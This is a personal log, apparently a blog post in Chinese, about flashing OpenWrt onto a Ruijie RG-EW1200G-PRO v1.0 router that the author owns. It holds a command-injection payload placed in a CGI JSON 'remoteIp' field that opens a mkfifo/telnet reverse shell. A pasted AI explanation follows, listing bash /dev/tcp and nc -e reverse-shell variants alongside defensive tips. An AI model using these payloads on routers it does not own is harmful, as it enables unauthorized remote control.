Ruijie-RG-EW1200G-PRO-v1.0刷入openwrt记录
没找到v1.0的教程,找到下面v1.1的教程,也是可以的
https://openwrt.org/toh/ruijie/rg-ew1200g_pro_v1.1
https://github.com/vccy118/Ruijie-RG-EW1200G-PRO-v1.1-Rootshell
先给它刷入指定版本的官方镜像
电脑用网线连接路由器的lan口,设置静态ip 192.168.110.x
获取cgi地址
使用postman发送指定数据包到这个cgi接口地址
json如下:
{ "method": "devConfig.get", "params": { "module": "123", "remoteIp": "$(mkfifo /tmp/test;telnet <your windows machine ip> 6666 0</tmp/test|/bin/sh > /tmp/test)", "data": { "kkk": "abc" } } }
顺便让DeepSeek分析了mkfifo那一行命令的作用
1. 命令分解
mkfifo /tmp/test; telnet 192.168.110.2 6666 0</tmp/test | /bin/sh >/tmp/test
可以拆解为:
-
mkfifo /tmp/test
→ 创建一个命名管道(FIFO)文件/tmp/test
,用于进程间通信。 -
telnet 192.168.110.2 6666 0</tmp/test
→ 使用telnet
连接到192.168.110.2
的6666
端口,并将/tmp/test
作为标准输入(0<
)。 -
| /bin/sh
→ 将telnet
的输出(从远程服务器接收的数据)传递给/bin/sh
(Shell)执行。 -
>/tmp/test
→ 将/bin/sh
的执行结果(标准输出)写入/tmp/test
。
2. 数据流向
这个命令建立了一个 双向通信管道:
-
远程攻击者(192.168.110.2:6666) 发送命令到
telnet
。 -
telnet
将接收到的命令传给/bin/sh
执行。 -
/bin/sh
的执行结果写入/tmp/test
。 -
telnet
从/tmp/test
读取执行结果,并发送回攻击者的机器。
相当于:
攻击者发送命令 → telnet → /bin/sh 执行 → 结果返回 → 攻击者
3. 为什么这是一个反向 Shell?
-
通常的 Telnet/SSH 是 客户端主动连接服务器,但这里是:
-
受害机器(运行该命令)主动连接攻击者的监听端口(6666)。
-
攻击者可以在自己的机器上控制受害者的 Shell。
-
-
由于使用了 FIFO 管道,攻击者可以 交互式地发送命令并获取返回结果。
4. 类似的反向 Shell 实现方式
这个技巧类似于以下方式:
bash -i >& /dev/tcp/192.168.110.2/6666 0>&1
或
nc -e /bin/sh 192.168.110.2 6666
但这里使用了 mkfifo + telnet
的组合,更加隐蔽(某些系统可能没有 nc
或 /dev/tcp
支持)。
5. 安全问题
-
这是一个典型的后门命令,用于在入侵后维持访问权限。
-
防御措施:
-
使用防火墙限制外连(如
iptables
、ufw
)。 -
监控异常网络连接(如
netstat -antp
)。 -
检查可疑进程(如
ps aux | grep telnet
)。
-
测试能否发送指令,找一个文件服务器,把文件上传上去,使用wget下载到/tmp里面
查询一下分区结构
刷写完成它会断开连接,自动重启,等待重启完成
把以太网卡改回自动获取ip,访问路由器ip,就可以看到熟悉的OpenWRT了